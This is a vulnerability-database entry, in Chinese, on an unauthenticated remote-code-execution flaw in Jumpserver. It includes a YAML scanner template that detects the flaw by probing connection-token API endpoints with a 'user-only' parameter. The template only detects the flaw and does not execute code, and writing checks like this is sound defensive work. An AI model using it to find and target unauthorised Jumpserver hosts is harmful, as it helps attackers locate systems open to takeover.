jumpserver-unauth-rce: Jumpserver Unauth RCE

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

Jumpserver 未授权RCE漏洞

PoC代码[已公开]

id: jumpserver-unauth-rce

info:
  name: Jumpserver Unauth RCE
  author: mvhz81
  severity: critical
  verified: true
  description: |-
    Jumpserver 未授权RCE漏洞
  tags: jumpserver,rce
  created: 2024/02/29

set:
  r1: randomLowercase(5)
rules:
  authentication0:
    request:
      method: GET
      path: /api/v1/authentication/connection-token/
    expression: response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
  authentication1:
    request:
      method: GET
      path: /api/v1/authentication/connection-token/?user-only={{r1}}
    expression: response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
  users0:
    request:
      method: GET
      path: /api/v1/users/connection-token/
    expression: response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
  users1:
    request:
      method: GET
      path: /api/v1/users/connection-token/?user-only={{r1}}
    expression: response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
expression: users0() && users1() || authentication0() && authentication1()